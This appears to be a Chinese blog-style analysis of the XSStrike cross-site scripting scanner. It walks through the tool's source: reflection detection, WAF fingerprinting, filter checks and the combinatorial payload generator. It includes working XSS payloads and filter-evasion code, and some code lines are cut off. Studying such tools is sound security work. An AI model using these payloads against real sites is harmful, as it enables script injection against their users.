xsstrike 分析

author: https://github.com/Ciyfly

github地址 `https://github.com/s0md3v/XSStrike`

拿一个xss测试一下

我们直接执行测试下效果

```
$ python xsstrike.py -u "https://brutelogic.com.br/multi/double-mixed.php?p=1"

        XSStrike v3.1.4

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: p
[!] Reflections found: 2
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 6179
------------------------------------------------------------
[+] Payload: <HTML%09onPOiNTerENteR%09=%09confirm()//
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] n
```

可以直接从日志就看到流程
先检测 是否有dom 型xss的关键点
然后判断是否有waf
测试的参数 匹配输出的地方有几个
解析判断输出位置 是哪里
然后生成payload
生成了6179个 这也太多了
然后测试出了payload

可以大概知道了流程 那我们跟进代码看一下

```
seedList = []
if args_seeds:
    seedList = list(filter(None, reader(args_seeds)))
# args_seeds 是指定的文件  args_seeds append 入文件的和单个指定的
# reader是封装的读取文件的方法
scan(target, paramData, encoding, headers, delay, timeout, skipDOM, find, skip)
```

scan

先请求获取响应体

如果不跳过DOM检测 开始进行DOMxss检测

```
highlighted = dom(response)
```

我们直接看代码里的注释

modes/scan.py

```
def scan(target, paramData, encoding, headers, delay, timeout, skipDOM, find, skip):
    GET, POST = (False, True) if paramData else (True, False)
    # If the user hasn't supplied the root url with http(s), we will handle it
    if not target.startswith('http'):
        try:
            response = requester('https://' + target, {},
                                 headers, GET, delay, timeout)
            target = 'https://' + target
        except:
            target = 'http://' + target
    logger.debug('Scan target: {}'.format(target))
    response = requester(target, {}, headers, GET, delay, timeout).text

    if not skipDOM:
        logger.run('Checking for DOM vulnerabilities')
        # DOMXSS 检测
        highlighted = dom(response)
        if highlighted:
            logger.good('Potentially vulnerable objects found')
            logger.red_line(level='good')
            for line in highlighted:
                logger.no_format(line, level='good')
            logger.red_line(level='good')
    # 解析获取host
    host = urlparse(target).netloc  # Extracts host out of the url
    logger.debug('Host to scan: {}'.format(host))
    # 去掉url 中? 后面的参数 获取到没有产生的url
    url = getUrl(target, GET)
    # 'https://brutelogic.com.br/multi/double-mixed.php'
    logger.debug('Url to scan: {}'.format(url))
    # 获取参数 params 或者json里的data 字典的
    params = getParams(target, paramData, GET)
    # {'p': '1'}
    logger.debug_json('Scan parameters:', params)
    if find:
        params = arjun(url, GET, headers, delay, timeout)
    if not params:
        logger.error('No parameters to test.')
        quit()
    # waf 检测
    WAF = wafDetector(
        url, {list(params.keys())[0]: xsschecker}, headers, GET, delay, timeout)
    if WAF:
        logger.error('WAF detected: %s%s%s' % (green, WAF, end))
    else:
        logger.good('WAF Status: %sOffline%s' % (green, end))
    # 遍历param
    for paramName in params.keys():
        paramsCopy = copy.deepcopy(params)
        logger.info('Testing parameter: %s' % paramName)
```

```
# xsschecker = 'v3dm0s' 用于检测回显的 非恶意的
if encoding:
    paramsCopy[paramName] = encoding(xsschecker)
else:
    paramsCopy[paramName] = xsschecker
response = requester(url, paramsCopy, headers, GET, delay, timeout)
# 发起请求后 html解析
occurences = htmlParser(response, encoding)
# 可以看到获取到了回显的位置和位置的dom 数据
# {29: {'position': 29, 'context': 'script', 'details': {'quote': "'"}}, 32: {'position'
positions = occurences.keys()
logger.debug('Scan occurences: {}'.format(occurences))
if not occurences:
    logger.error('No reflection found')
    continue
else:
    logger.info('Reflections found: %i' % len(occurences))

logger.run('Analysing reflections')
efficiencies = filterChecker(
    url, paramsCopy, headers, GET, delay, occurences, timeout, encoding)
logger.debug('Scan efficiencies: {}'.format(efficiencies))
## 根据被过滤的条件 加上位置 生成payload
logger.run('Generating payloads')
vectors = generator(occurences, response.text)
# vectors 里面包含大量的paylodas
total = 0
# 输出有多少payloads
for v in vectors.values():
    total += len(v)
if total == 0:
    logger.error('No vectors were crafted.')
    continue
logger.info('Payloads generated: %i' % total)
progress = 0
for confidence, vects in vectors.items():
    for vect in vects:
        if core.config.globalVariables['path']:
            vect = vect.replace('/', '%2F')
        loggerVector = vect
        progress += 1
        logger.run('Progress: %i/%i\r' % (progress, total))
        if not GET:
            vect = unquote(vect)
        # 用生成的payload进行检验
        efficiencies = checker(
            url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding)
        # 也是要输出相似度
        if not efficiencies:
            for i in range(len(occurences)):
                efficiencies.append(0)
```

```
            bestEfficiency = max(efficiencies)
            # 如果相似度是100的或者 有 \\ 并相似度大于95的就认为这个payload成功输出
            # 或者相似大于90也会输出
            if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 95):
                logger.red_line()
                logger.good('Payload: %s' % loggerVector)
                logger.info('Efficiency: %i' % bestEfficiency)
                logger.info('Confidence: %i' % confidence)
                if not skip:
                    choice = input(
                        '%s Would you like to continue scanning? [y/N] ' % que).lower()
                    if choice != 'y':
                        quit()
            elif bestEfficiency > minEfficiency:
                logger.red_line()
                logger.good('Payload: %s' % loggerVector)
                logger.info('Efficiency: %i' % bestEfficiency)
                logger.info('Confidence: %i' % confidence)
    logger.no_format('')
```

dom检测

可以看到正则都是会出现domxss出现的关键函数地方
先匹配所有的 例如: `["\n var a = 'a';\n var b = '1';\n"]` 是一个列表的
然后解析script里面的每一行 以var切割后 正则匹配 sources sinks

core/dom.py

```
def dom(response):
    highlighted = []
    sources = r'''document\.(URL|documentURI|URLUnencoded|baseURI|cookie|referrer)|location\.(hr
    sinks = r'''eval|evaluate|execCommand|assign|navigate|getResponseHeaderopen|showModalDialog|
    # 获取script标签里的内容
    scripts = re.findall(r'(?i)(?s)<script[^>]*>(.*?)</script>', response)
    # ["\n   var a = 'a';\n   var b = '1';\n"]
    sinkFound, sourceFound = False, False
    for script in scripts:
        script = script.split('\n')
        # ['', "   var a = 'a';", "   var b = '1';", '']
        num = 1
        try:
            for newLine in script:
                line = newLine
                parts = line.split('var ')
                controlledVariables = set()
                allControlledVariables = set()
                if len(parts) > 1:
                    for part in parts:
                        for controlledVariable in allControlledVariables:
                            if controlledVariable in part:
                                controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9$_]+', p
                # 匹配 sources
                pattern = re.finditer(sources, newLine)
                for grp in pattern:
                    if grp:
                        source = newLine[grp.start():grp.end()].replace(' ', '')
                        if source:
                            if len(parts) > 1:
                               for part in parts:
                                    if source in part:
                                        controlledVariables.add(re.search(r'[a-zA-Z$_][a-zA-Z0-9
                                        sourceFound = True
                            line = line.replace(source, yellow + source + end)
                for controlledVariable in controlledVariables:
                    allControlledVariables.add(controlledVariable)
                for controlledVariable in allControlledVariables:
                    matches = list(filter(None, re.findall(r'\b%s\b' % controlledVariable, line)
                    if matches:
                        line = re.sub(r'\b%s\b' % controlledVariable, yellow + controlledVariabl
                # 匹配 sinks
                pattern = re.finditer(sinks, newLine)
                for grp in pattern:
                    if grp:
                        sink = newLine[grp.start():grp.end()].replace(' ', '')
                        if sink:
                            line = line.replace(sink, red + sink + end)
                            sinkFound = True
                if line != newLine:
```

```
                    highlighted.append('%-3s %s' % (str(num), line.lstrip(' ')))
                num += 1
        except MemoryError:
            pass
    if sinkFound and sourceFound:
        return highlighted
    else:
        return []
```

waf 检测

`/db/wafSignatures.json` waf 指纹识别的文件

举例

```
"360 Web Application Firewall (360)" : {
    "code" : "493",
    "page" : "/wzws-waf-cgi/",
    "headers" : "X-Powered-By-360wzb"
}
```

就是直接加个?xss="
然后会触发 waf 判断 code header page 与指纹文件匹配的 加分最后判断
但是这里都是大于0分就算的

core\wafDetector.py

```
def wafDetector(url, params, headers, GET, delay, timeout):
    with open(sys.path[0] + '/db/wafSignatures.json', 'r') as file:
        wafSignatures = json.load(file)
    # a payload which is noisy enough to provoke the WAF
    noise = '<script>alert("XSS")</script>'
    params['xss'] = noise
    # Opens the noise injected payload
    response = requester(url, params, headers, GET, delay, timeout)
    page = response.text
    code = str(response.status_code)
    headers = str(response.headers)
    logger.debug('Waf Detector code: {}'.format(code))
    logger.debug_json('Waf Detector headers:', response.headers)

    if int(code) >= 400:
        bestMatch = [0, None]
        for wafName, wafSignature in wafSignatures.items():
            score = 0
            pageSign = wafSignature['page']
            codeSign = wafSignature['code']
            headersSign = wafSignature['headers']
            if pageSign:
                if re.search(pageSign, page, re.I):
                    score += 1
            if codeSign:
                if re.search(codeSign, code, re.I):
                    score += 0.5  # increase the overall score by a smaller amount because http
            if headersSign:
                if re.search(headersSign, headers, re.I):
                    score += 1
            # if the overall score of the waf is higher than the previous one
            if score > bestMatch[0]:
                del bestMatch[:]  # delete the previous one
                bestMatch.extend([score, wafName])  # and add this one
        if bestMatch[0] != 0:
            return bestMatch[1]
        else:
            return None
    else:
        return None
```

filterChecker 获取哪些没有被过滤

environments 是需要测试是否被过滤的
根据context 是 comment 还是script 还是attribute 中需要不同的payload
然后发送请求测试 payload是否被过滤 匹配计算相似度 打分 一起写到 html解析的字典里

corefilterChecker.py:14

```
# 注释里面的话需要测试 '-->'
if context == 'comment':
    environments.add('-->')
# script 里面的话需要测试 </scRipT/>
elif context == 'script':
    environments.add(occurences[i]['details']['quote'])
    environments.add('</scRipT/>')
# 属性里面的话需要测试 &lt; &gt;(这两个就是 <> 的html编码 ) 以及闭合单双引号的 quote
elif context == 'attribute':
    if occurences[i]['details']['type'] == 'value':
        if occurences[i]['details']['name'] == 'srcdoc':  # srcdoc attribute accepts html data w
            environments.add('&lt;')  # so let's add the html entity
            environments.add('&gt;')  # encoded versions of < and >
    if occurences[i]['details']['quote']:
        environments.add(occurences[i]['details']['quote'])
```

corefilterChecker.py

```
def filterChecker(url, params, headers, GET, delay, occurences, timeout, encoding):
    positions = occurences.keys()
    sortedEfficiencies = {}
    # adding < > to environments anyway because they can be used in all contexts
    environments = set(['<', '>'])
    for i in range(len(positions)):
        sortedEfficiencies[i] = {}
    for i in occurences:
        # 新加上个key 分数 是后面payload匹配上的相似度值
        occurences[i]['score'] = {}
        context = occurences[i]['context']
        if context == 'comment':
            environments.add('-->')
        elif context == 'script':
            # {'quote': "'"}
            environments.add(occurences[i]['details']['quote']) # "'"
            environments.add('</scRipT/>')
        elif context == 'attribute':
            if occurences[i]['details']['type'] == 'value':
                if occurences[i]['details']['name'] == 'srcdoc':
                    environments.add('&lt;')
                    environments.add('&gt;')
            if occurences[i]['details']['quote']:
                # {'tag': 'a', 'type': 'value', 'quote': '"', 'value': 'v3dm0s', 'name': 'href'}
                environments.add(occurences[i]['details']['quote']) # '"'
    # environments = {"'", '>', '<', '</scRipT/>', '"'}
    for environment in environments:
        if environment:
            # 发送需要的值 单引号 等 是否被过滤
            # 会匹配上多个选取相似度最大的
            # 并将匹配的分数加上
            efficiencies = checker(
                url, params, headers, GET, delay, environment, positions, timeout, encoding)
            efficiencies.extend([0] * (len(occurences) - len(efficiencies)))
            for occurence, efficiency in zip(occurences, efficiencies):
                occurences[occurence]['score'][environment] = efficiency
    return occurences
```

occurences hmtl解析的dom结构和过滤的分值

occurences 是由 htmlParser 解析返回的
filterChecker 把 occurences 需要的标签进行检测是否被过滤加入score 值

key是匹配到的字符串的位置
context 是输出在 哪个位置 是script 注释 html里等等
details 是这个位置的详细信息 例如 tag value name quote('/', '"', '`', '"',"'")
score 是context的位置xss需要的一个标签 有没有被转义 的相似度值 后面会用这个进行计算判断

```
{
        29: {
                'position': 29,
                'context': 'script',
                'details': {
                        'quote': "'"
                },
                'score': {
                        "'": 100,
                        '>': 100,
                        '<': 100,
                        '</scRipT/>': 100,
                        '"': 100
                }
        },
        32: {
                'position': 32,
                'context': 'attribute',
                'details': {
                        'tag': 'a',
                        'type': 'value',
                        'quote': '"',
                        'value': 'v3dm0s',
                        'name': 'href'
                },
                'score': {
                        "'": 100,
                        '>': 100,
                        '<': 100,
                        '</scRipT/>': 89,
                        '"': 100
                }
        }
}
```

checker 判断字符串有没有被过滤转义并返回相似度值

检测的payload 检测字符串是固定的 `checkString = 'st4r7s' + payload + '3nd'`

如果是单引号就是 `"st4r7s'3nd"`

core/checker.py

```
def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding):
    checkString = 'st4r7s' + payload + '3nd'
    if encoding:
        checkString = encoding(unquote(checkString))
    response = requester(url, replaceValue(
        params, xsschecker, checkString, copy.deepcopy), headers, GET, delay, timeout).text.lowe
    reflectedPositions = []
    for match in re.finditer('st4r7s', response):
        reflectedPositions.append(match.start())
    # reflectedPositions = [32, 117] 是匹配的开始位置
    #
    filledPositions = fillHoles(positions, reflectedPositions)
    #  Itretating over the reflections
    num = 0
    efficiencies = []
    for position in filledPositions:
        allEfficiencies = []
        try:
            # 从匹配到的开始位置 加上 checkString 长度就是匹配的字符串
            reflected = response[reflectedPositions[num]
                :reflectedPositions[num]+len(checkString)]
            # 计算相似度
            efficiency = fuzz.partial_ratio(reflected, checkString.lower())
            allEfficiencies.append(efficiency)
        except IndexError:
            pass
        if position:
            reflected = response[position:position+len(checkString)]
            if encoding:
                checkString = encoding(checkString.lower())
            efficiency = fuzz.partial_ratio(reflected, checkString)
            if reflected[:-2] == ('\\%s' % checkString.replace('st4r7s', '').replace('3nd', '')):
                efficiency = 90
            allEfficiencies.append(efficiency)
            # 取相似度最大的
            efficiencies.append(max(allEfficiencies))
        else:
            efficiencies.append(0)
        num += 1
    return list(filter(None, efficiencies))
```

generator 根据位置生成payload需要的字符串或者payload

根据 测试出来的哪些被过滤的 以及位置 生成payload

vectors 是存储payload及优先级的枚举

这个地方是最核心的

core/generator.py

```
def generator(occurences, response):
    # 匹配出响应体里的script 里面的内容
    scripts = extractScripts(response)
    index = 0
    vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(),
               6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()}
    for i in occurences:
        # 获取context的类型
        context = occurences[i]['context']
        # 如果输出在html里 需要直接写一个标签来执行
        # 我们应该需要 < > 并且注释后面 //
        # 如果没有转义 > 将 > 加入到ends里 此时 ends有 // 和>
        # 如果没有转义 < 动态生成payload
        if context == 'html':
            lessBracketEfficiency = occurences[i]['score']['<']
            greatBracketEfficiency = occurences[i]['score']['>']
            ends = ['//']
            badTag = occurences[i]['details']['badTag'] if 'badTag' in occurences[i]['details']
            if greatBracketEfficiency == 100:
                ends.append('>')
            if lessBracketEfficiency:
                payloads = genGen(fillings, eFillings, lFillings,
                                  eventHandlers, tags, functions, ends, badTag)
                for payload in payloads:
                    vectors[10].add(payload)
        # 如果输出在html tag的属性里 需要闭合并执行
        # 如果没有转义 > 将 > 加入到ends里 此时 ends有 // 和>
        # 如果没有转义 > 并且 有单双引号等 那么动态生成payload
        # 并且需要把前面的闭合 payload = quote + '>' + payload
        elif context == 'attribute':
            found = False
            tag = occurences[i]['details']['tag']
            Type = occurences[i]['details']['type']
            quote = occurences[i]['details']['quote'] or ''
            attributeName = occurences[i]['details']['name']
            attributeValue = occurences[i]['details']['value']
            quoteEfficiency = occurences[i]['score'][quote] if quote in occurences[i]['score'] e
            greatBracketEfficiency = occurences[i]['score']['>']
            ends = ['//']
            if greatBracketEfficiency == 100:
                ends.append('>')
            if greatBracketEfficiency == 100 and quoteEfficiency == 100:
                payloads = genGen(fillings, eFillings, lFillings,
                                  eventHandlers, tags, functions, ends)
                for payload in payloads:
                    # 需要闭合前面的属性标签
                    payload = quote + '>' + payload
                    found = True
                    vectors[9].add(payload)
            if quoteEfficiency == 100:
```

```
    for filling in fillings:
        for function in functions:
            vector = quote + filling + r('autofocus') + \
                filling + r('onfocus') + '=' + quote + function
            found = True
            vectors[8].add(vector)
if quoteEfficiency == 90:
    # fillings = ('%09', '%0a', '%0d', '/+/')
    for filling in fillings:
        for function in functions:
            vector = '\\' + quote + filling + r('autofocus') + filling + \
                r('onfocus') + '=' + function + filling + '\\' + quote
            found = True
            vectors[7].add(vector)
# 如果属性有value
if Type == 'value':
    if attributeName == 'srcdoc':
        if occurences[i]['score']['&lt;']:
            if occurences[i]['score']['&gt;']:
                del ends[:]
                ends.append('%26gt;')
            payloads = genGen(
                fillings, eFillings, lFillings, eventHandlers, tags, functions, ends
            for payload in payloads:
                found = True
                vectors[9].add(payload.replace('<', '%26lt;'))
    # 如果属性名称是 href 并且属性值 是我们回显的
    # payload 直接为 javascript: 配置文件的里函数
    elif attributeName == 'href' and attributeValue == xsschecker:
        for function in functions:
            found = True
            vectors[10].add(r('javascript:') + function)
    # 如果属性名开头是on 说明是个事件 例如onclick
    elif attributeName.startswith('on'):
        # 根据value值生成闭合的closer
        # 闭合后生成payload
        closer = jsContexter(attributeValue)
        quote = ''
        for char in attributeValue.split(xsschecker)[1]:
            if char in ['\'', '"', '`']:
                quote = char
                break
        suffix = '//\\'
        for filling in jFillings:
            for function in functions:
                vector = quote + closer + filling + function + suffix
                if found:
                    vectors[7].add(vector)
                else:
                    vectors[9].add(vector)
        if quoteEfficiency > 83:
```

```
                suffix = '//'
                for filling in jFillings:
                    for function in functions:
                        if '=' in function:
                            function = '(' + function + ')'
                        if quote == '':
                            filling = ''
                        vector = '\\' + quote + closer + filling + function + suffix
                        if found:
                            vectors[7].add(vector)
                        else:
                            vectors[9].add(vector)
        # 如果tag是在 'script', 'iframe', 'embed', 'object' 中
        elif tag in ('script', 'iframe', 'embed', 'object'):
            # 如果属性名为 src iframe embed的话
            if attributeName in ('src', 'iframe', 'embed') and attributeValue == xsschec
                payloads = ['//15.rs', '\\/\\\\\\\/\\15.rs']
                for payload in payloads:
                    vectors[10].add(payload)
            # 如果属性名为 object 并且 属性为 data 属性值为 测试的回显字符串
            # 直接 javascript: 函数
            elif tag == 'object' and attributeName == 'data' and attributeValue == xssch
                for function in functions:
                    found = True
                    vectors[10].add(r('javascript:') + function)
            elif quoteEfficiency == greatBracketEfficiency == 100:
                payloads = genGen(fillings, eFillings, lFillings,
                                  eventHandlers, tags, functions, ends)
                # 在这些标签里的需要闭合 tag标签+ script标签
                for payload in payloads:
                    payload = quote + '>' + r('</script/>') + payload
                    found = True
                    vectors[11].add(payload)
# 注释 --> 闭合
elif context == 'comment':
    lessBracketEfficiency = occurences[i]['score']['<']
    greatBracketEfficiency = occurences[i]['score']['>']
    ends = ['//']
    if greatBracketEfficiency == 100:
        ends.append('>')
    if lessBracketEfficiency == 100:
        payloads = genGen(fillings, eFillings, lFillings,
                          eventHandlers, tags, functions, ends)
        for payload in payloads:
            vectors[10].add(payload)
# 如果是 script
elif context == 'script':
    if scripts:
        try:
            script = scripts[index]
        except IndexError:
```

```
                script = scripts[0]
            else:
                continue
            closer = jsContexter(script)
            quote = occurences[i]['details']['quote']
            scriptEfficiency = occurences[i]['score']['</scRipT/>']
            greatBracketEfficiency = occurences[i]['score']['>']
            breakerEfficiency = 100
            if quote:
                breakerEfficiency = occurences[i]['score'][quote]
            ends = ['//']
             # 如果相似度是满的那么就将payload加入
            if greatBracketEfficiency == 100:
                ends.append('>')
            if scriptEfficiency == 100:
                breaker = r('</script/>')
                # 会生成大量的payload
                payloads = genGen(fillings, eFillings, lFillings,
                                  eventHandlers, tags, functions, ends)
                for payload in payloads:
                    vectors[10].add(payload)
            if closer:
                suffix = '//\\'
                #  jFillings是 ;
                for filling in jFillings:
                    for function in functions:
                        # 单双引号闭合 + 标签 括号等的闭合+语法结束+ 函数+ 后缀
                        # "';[8].find(confirm)//"
                        vector = quote + closer + filling + function + suffix
                        vectors[7].add(vector)
            elif breakerEfficiency > 83:
                prefix = ''
                suffix = '//'
                if breakerEfficiency != 100:
                    prefix = '\\'
                for filling in jFillings:
                    for function in functions:
                        if '=' in function:
                            function = '(' + function + ')'
                        if quote == '':
                            filling = ''
                        vector = prefix + quote + closer + filling + function + suffix
                        vectors[6].add(vector)
            index += 1
    return vectors
```

genGen 排列组合生成payload

core/config.py

```
tags = ('html', 'd3v', 'a', 'details')  # HTML Tags
# "Things" that can be used between js functions and breakers e.g. '};alert()//
jFillings = (';')
# "Things" that can be used before > e.g. <tag attr=value%0dx>
lFillings = ('', '%0dx')
# "Things" to use between event handler and = or between function and =
eFillings = ('%09', '%0a', '%0d',  '+')
fillings = ('%09', '%0a', '%0d', '/+/')  # "Things" to use instead of space
eventHandlers = {  # Event handlers and the tags compatible with them
    'ontoggle': ['details'],
    'onpointerenter': ['d3v', 'details', 'html', 'a'],
    'onmouseover': ['a', 'html', 'd3v']
}
functions = (  # JavaScript functions to get a popup
    '[8].find(confirm)', 'confirm()',
    '(confirm)()', 'co\u006efir\u006d()',
    '(prompt)``', 'a=prompt,a()')
```

这个函数传入的主要是上面的config.py 中的值

core/utils.py:134

```
def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, badTag=None):
    # fillings ('%09', '%0a', '%0d', '/+/'),
    # eFillings ('%09', '%0a', '%0d', '+'),
    # lFillings ('', '%0dx'),
    # eventHandlers {'ontoggle': ['details'], 'onpointerenter': ['d3v', 'details', 'html', 'a'],
    # tags ('html', 'd3v', 'a', 'details'), ('[8].find(confirm)', 'confirm()', '(confirm)()', 'c
    # functions 'a=prompt,a()'),
    # ends ['//', '>'],
    # badTag None
    vectors = []
    r = randomUpper  # randomUpper randomly converts chars of a string to uppercase
    for tag in tags:
        if tag == 'd3v' or tag == 'a':
            bait = xsschecker
        else:
            bait = ''
        for eventHandler in eventHandlers:
            # if the tag is compatible with the event handler
            if tag in eventHandlers[eventHandler]:
                for function in functions:
                    for filling in fillings:
                        for eFilling in eFillings:
                            for lFilling in lFillings:
                                for end in ends:
                                    if tag == 'd3v' or tag == 'a':
                                        if '>' in ends:
                                            end = '>'  # we can't use // as > with "a" or "d3v"
                                    breaker = ''
                                    if badTag:
                                        breaker = '</' + r(badTag) + '>'
                                    # randomUpper 将传入的字符串 大写 小写 随机取 实现生成大小写随机
                                    # ''.join(random.choice((x, y)) for x, y in zip(string.upper
                                    # 随机 tag +上随机的大小写的 eventHandler 加上后面的参数 for fu
                                    vector = breaker + '<' + r(tag) + filling + r(
                                        eventHandler) + eFilling + '=' + eFilling + function + l
                                    vectors.append(vector)
    return vectors
```

总体逻辑跟我们看一开始的日志基本一致

0. 也会先判断是否有waf 用最简单的payload测试
1. 先判断无害字符串回显位置
2. 根据这个位置如果xss需要哪些字符串
3. 测试这些字符串是否被过滤转义 这里采用的是判断相似度 前缀+测试字符串+后缀
4. 并根据没有被过滤得字符串+html的位置来生成payload (大量)

5. 发送payload测试

总体架构设计比较清晰 我这里只跟了部分代码 相对可对性比sqlmap这种好很多